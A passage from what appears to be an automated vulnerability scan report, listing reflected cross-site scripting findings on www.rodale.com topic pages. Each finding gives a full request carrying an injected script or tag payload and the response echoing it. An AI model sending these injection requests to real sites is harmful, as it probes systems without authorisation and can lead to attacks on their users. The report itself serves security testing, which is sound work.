HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:09:06 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:39:08 GMT
Date: Thu, 10 Mar 2011 17:09:08 GMT
Content-Length: 22468
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-asthma2befb"><a>776892ce270 node node-958">
...[SNIP]...

2.304. http://www.rodale.com/topic/asthma [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/asthma

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload eb560"><script>alert(1)</script>8fc18e16b7f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/asthma?eb560"><script>alert(1)</script>8fc18e16b7f=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:08:26 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:38:28 GMT
Date: Thu, 10 Mar 2011 17:08:28 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 33760

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/asthma?eb560"><script>alert(1)</script>8fc18e16b7f=1" title="Register" class="moreLink">
...[SNIP]...

2.305. http://www.rodale.com/topic/autism [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/autism

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f21b9"><a>93d9d29a78e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topicf21b9"><a>93d9d29a78e/autism HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:08:35 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:38:37 GMT
Date: Thu, 10 Mar 2011 17:08:37 GMT
Content-Length: 22489
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topicf21b9"><a>93d9d29a78e topicf21b9">
...[SNIP]...

2.306. http://www.rodale.com/topic/autism [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/autism

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b479d"><a>344f5bb9c4d was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/autismb479d"><a>344f5bb9c4d HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:09:18 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:39:21 GMT
Date: Thu, 10 Mar 2011 17:09:21 GMT
Content-Length: 22468
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-autismb479d"><a>344f5bb9c4d node node-958">
...[SNIP]...

2.307. http://www.rodale.com/topic/autism [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/autism

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8a7d8"><script>alert(1)</script>f8548974ac1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/autism?8a7d8"><script>alert(1)</script>f8548974ac1=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:08:33 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:38:35 GMT
Date: Thu, 10 Mar 2011 17:08:35 GMT
Content-Length: 32698
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/autism?8a7d8"><script>alert(1)</script>f8548974ac1=1" title="Register" class="moreLink">
...[SNIP]...

2.308. http://www.rodale.com/topic/baby-care [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/baby-care

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cdd87"><a>44bf4bb6e6a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topiccdd87"><a>44bf4bb6e6a/baby-care HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:08:34 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:38:35 GMT
Date: Thu, 10 Mar 2011 17:08:35 GMT
Content-Length: 22498
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topiccdd87"><a>44bf4bb6e6a topiccdd87">
...[SNIP]...

2.309. http://www.rodale.com/topic/baby-care [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/baby-care

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8206d"><a>549bbe8604c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/baby-care8206d"><a>549bbe8604c HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:09:13 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:39:17 GMT
Date: Thu, 10 Mar 2011 17:09:17 GMT
Content-Length: 22477
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-baby-care8206d"><a>549bbe8604c node node-958">
...[SNIP]...

2.310. http://www.rodale.com/topic/baby-care [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/baby-care

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cad91"><script>alert(1)</script>8568621af40 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/baby-care?cad91"><script>alert(1)</script>8568621af40=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:08:31 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:38:33 GMT
Date: Thu, 10 Mar 2011 17:08:33 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 34230

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/baby-care?cad91"><script>alert(1)</script>8568621af40=1" title="Register" class="moreLink">
...[SNIP]...

2.311. http://www.rodale.com/topic/backyard-chickens [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/backyard-chickens

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ba414"><a>1cccffa343e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topicba414"><a>1cccffa343e/backyard-chickens HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:08:44 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:38:46 GMT
Date: Thu, 10 Mar 2011 17:08:46 GMT
Content-Length: 22522
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topicba414"><a>1cccffa343e topicba414">
...[SNIP]...

2.312. http://www.rodale.com/topic/backyard-chickens [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/backyard-chickens

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cedc5"><a>c95265fd8a2 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/backyard-chickenscedc5"><a>c95265fd8a2 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:09:22 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:39:24 GMT
Date: Thu, 10 Mar 2011 17:09:25 GMT
Content-Length: 22501
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-backyard-chickenscedc5"><a>c95265fd8a2 node node-958">
...[SNIP]...

2.313. http://www.rodale.com/topic/backyard-chickens [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/backyard-chickens

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 716b9"><script>alert(1)</script>50086533de7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/backyard-chickens?716b9"><script>alert(1)</script>50086533de7=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:08:42 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:38:43 GMT
Date: Thu, 10 Mar 2011 17:08:44 GMT
Content-Length: 30816
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/backyard-chickens?716b9"><script>alert(1)</script>50086533de7=1" title="Register" class="moreLink">
...[SNIP]...

2.314. http://www.rodale.com/topic/beach-safety [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/beach-safety

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d60b2"><a>f687daee2f2 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topicd60b2"><a>f687daee2f2/beach-safety HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:08:41 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:38:42 GMT
Date: Thu, 10 Mar 2011 17:08:43 GMT
Content-Length: 22507
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topicd60b2"><a>f687daee2f2 topicd60b2">
...[SNIP]...

2.315. http://www.rodale.com/topic/beach-safety [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/beach-safety

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5fc77"><a>af117943cb2 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/beach-safety5fc77"><a>af117943cb2 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:09:25 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:39:27 GMT
Date: Thu, 10 Mar 2011 17:09:28 GMT
Content-Length: 22486
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-beach-safety5fc77"><a>af117943cb2 node node-958">
...[SNIP]...

2.316. http://www.rodale.com/topic/beach-safety [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/beach-safety

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fe914"><script>alert(1)</script>b3ea9f00c0d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/beach-safety?fe914"><script>alert(1)</script>b3ea9f00c0d=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:08:38 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:38:40 GMT
Date: Thu, 10 Mar 2011 17:08:40 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 33486

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/beach-safety?fe914"><script>alert(1)</script>b3ea9f00c0d=1" title="Register" class="moreLink">
...[SNIP]...

2.317. http://www.rodale.com/topic/bees [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/bees

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 751be"><a>192d13c485a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic751be"><a>192d13c485a/bees HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:08:46 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:38:48 GMT
Date: Thu, 10 Mar 2011 17:08:48 GMT
Content-Length: 22483
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic751be"><a>192d13c485a topic751be">
...[SNIP]...

2.318. http://www.rodale.com/topic/bees [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/bees

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4c314"><a>1ff27277e75 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/bees4c314"><a>1ff27277e75 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:09:25 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:39:27 GMT
Date: Thu, 10 Mar 2011 17:09:27 GMT
Content-Length: 22462
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-bees4c314"><a>1ff27277e75 node node-958">
...[SNIP]...

2.319. http://www.rodale.com/topic/bees [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/bees

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d94fe"><script>alert(1)</script>b26950956ac was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/bees?d94fe"><script>alert(1)</script>b26950956ac=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:08:42 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:38:46 GMT
Date: Thu, 10 Mar 2011 17:08:46 GMT
Content-Length: 31576
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/bees?d94fe"><script>alert(1)</script>b26950956ac=1" title="Register" class="moreLink">
...[SNIP]...

2.320. http://www.rodale.com/topic/beverages [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/beverages

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 22e18"><a>f38c1fc2649 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic22e18"><a>f38c1fc2649/beverages HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:09:02 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:39:04 GMT
Date: Thu, 10 Mar 2011 17:09:05 GMT
Content-Length: 22498
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic22e18"><a>f38c1fc2649 topic22e18">
...[SNIP]...

2.321. http://www.rodale.com/topic/beverages [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/beverages

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4335e"><a>7e5c3c091a9 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

